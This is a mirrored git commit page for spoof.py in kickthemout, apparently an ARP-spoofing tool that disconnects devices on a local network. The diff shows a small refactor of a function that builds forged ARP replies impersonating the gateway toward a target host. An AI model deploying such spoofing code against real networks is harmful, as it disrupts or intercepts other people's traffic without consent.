mirror of
https://github.com/k4m4/kickthemout.git
synced 2025-07-04 12:28:20 +02:00
Update spoof.py
This commit is contained in:
parent
59a8bdd136
commit
94c1fddea9
1 changed files with 2 additions and 6 deletions
6
spoof.py
6
spoof.py
|
@ -22,6 +22,7 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
|||
# Function for sending the malicious ARP packets out with the specified data
|
||||
ether = Ether()
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac
|
||||
|
||||
arp = ARP()
|
||||
arp.psrc = gateway_ip
|
||||
|
@ -30,11 +31,6 @@ def sendPacket(my_mac, gateway_ip, target_ip, target_mac):
|
|||
arp = arp
|
||||
arp.pdst = target_ip
|
||||
arp.hwdst = target_mac
|
||||
|
||||
ether = ether
|
||||
ether.src = my_mac
|
||||
ether.dst = target_mac
|
||||
|
||||
arp.op = 2
|
||||
|
||||
def broadcastPacket():
|
||||
|
|
Loading…
Add table
Add a link
Reference in a new issue